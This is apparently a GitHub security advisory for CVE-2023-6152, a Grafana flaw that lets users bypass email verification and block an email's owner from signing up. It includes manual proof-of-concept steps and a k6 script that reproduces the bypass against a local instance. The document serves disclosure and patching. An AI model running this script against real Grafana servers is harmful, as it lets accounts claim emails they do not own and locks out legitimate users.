ghsa-3hv4-r2fm-h27f
Vulnerability from github
Summary
Email validation can easily be bypassed because verify_email_enabled
option enable email validation at sign up only.
A user changing it's email after signing up (and verifying it) can change it without verification in /profile
.
This can be used to prevent legitimate owner of the email address from signing up.
Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.
Here user a prevents owner of bar@example.com to signup.
Details
I don't know exact location but this is related to PUT /api/user handler.
PoC
Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to bar@example.com * That's it, your using an email you don't own.
Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to bar@example.com * Signout. * Try to sign up with email b@example.com * Warning popup "User with same email address already exists"
K6 script (with verify_email_enabled
set to false
):
```js
import { check, group } from "k6"
import http from "k6/http"
export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } }
const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"
export default function () {
group("create user_a with email foo@example.com", () => {
const response = http.post(${GRAFANA_URL}/api/user/signup/step2
, JSON.stringify({
"email": "foo@example.com",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
group("change user_a login to bar@example.com", () => {
const response = http.put(${GRAFANA_URL}/api/user
, JSON.stringify({
"email": "foo@example.com",
"login": "bar@example.com", // user_b email.
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
http.cookieJar().clear(GRAFANA_URL)
group("create user_b with email bar@example.com", () => {
const response = http.post(${GRAFANA_URL}/api/user/signup/step2
, JSON.stringify({
"email": "bar@example.com",
"username": "bar@example.com",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200 // fail
})
}) } ```
Impact
Bypass email verification. Prevent legitimate owner from signing up.
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/grafana/grafana" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "9.5.16" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/grafana/grafana" }, "ranges": [ { "events": [ { "introduced": "10.0.0" }, { "fixed": "10.0.11" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/grafana/grafana" }, "ranges": [ { "events": [ { "introduced": "10.1.0" }, { "fixed": "10.1.7" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/grafana/grafana" }, "ranges": [ { "events": [ { "introduced": "10.2.0" }, { "fixed": "10.2.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/grafana/grafana" }, "ranges": [ { "events": [ { "introduced": "10.3.0" }, { "fixed": "10.3.3" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2023-6152" ], "database_specific": { "cwe_ids": [ "CWE-863" ], "github_reviewed": true, "github_reviewed_at": "2024-02-13T22:25:10Z", "nvd_published_at": "2024-02-13T22:15:45Z", "severity": "MODERATE" }, "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it\u0027s email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email\u0027s owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don\u0027t know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to bar@example.com\n* That\u0027s it, your using an email you don\u0027t own.\n\nPrevent email\u0027s owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n scenarios: {\n perVuIter: {\n executor: \u0027per-vu-iterations\u0027,\n vus: 1,\n iterations: 1\n }\n }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n group(\"create user_a with email foo@example.com\", () =\u003e {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n \u0027Content-Type\u0027: \"application/json\"\n }\n })\n\n check(response, {\n \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n })\n })\n\n group(\"change user_a login to bar@example.com\", () =\u003e {\n const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"login\": \"bar@example.com\", // user_b email.\n }), {\n headers: {\n \u0027Content-Type\u0027: \"application/json\"\n }\n })\n\n check(response, {\n \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n })\n })\n\n http.cookieJar().clear(GRAFANA_URL)\n\n group(\"create user_b with email bar@example.com\", () =\u003e {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"bar@example.com\",\n \"username\": \"bar@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n \u0027Content-Type\u0027: \"application/json\"\n }\n })\n\n check(response, {\n \u0027status code is 200\u0027: (r) =\u003e r.status == 200 // fail\n })\n })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.\n", "id": "GHSA-3hv4-r2fm-h27f", "modified": "2024-02-14T14:54:11Z", "published": "2024-02-13T22:25:10Z", "references": [ { "type": "WEB", "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6152" }, { "type": "PACKAGE", "url": "https://github.com/grafana/grafana" }, { "type": "WEB", "url": "https://grafana.com/security/security-advisories/cve-2023-6152" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "type": "CVSS_V3" } ], "summary": "Email Validation Bypass And Preventing Sign Up From Email\u0027s Owner" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.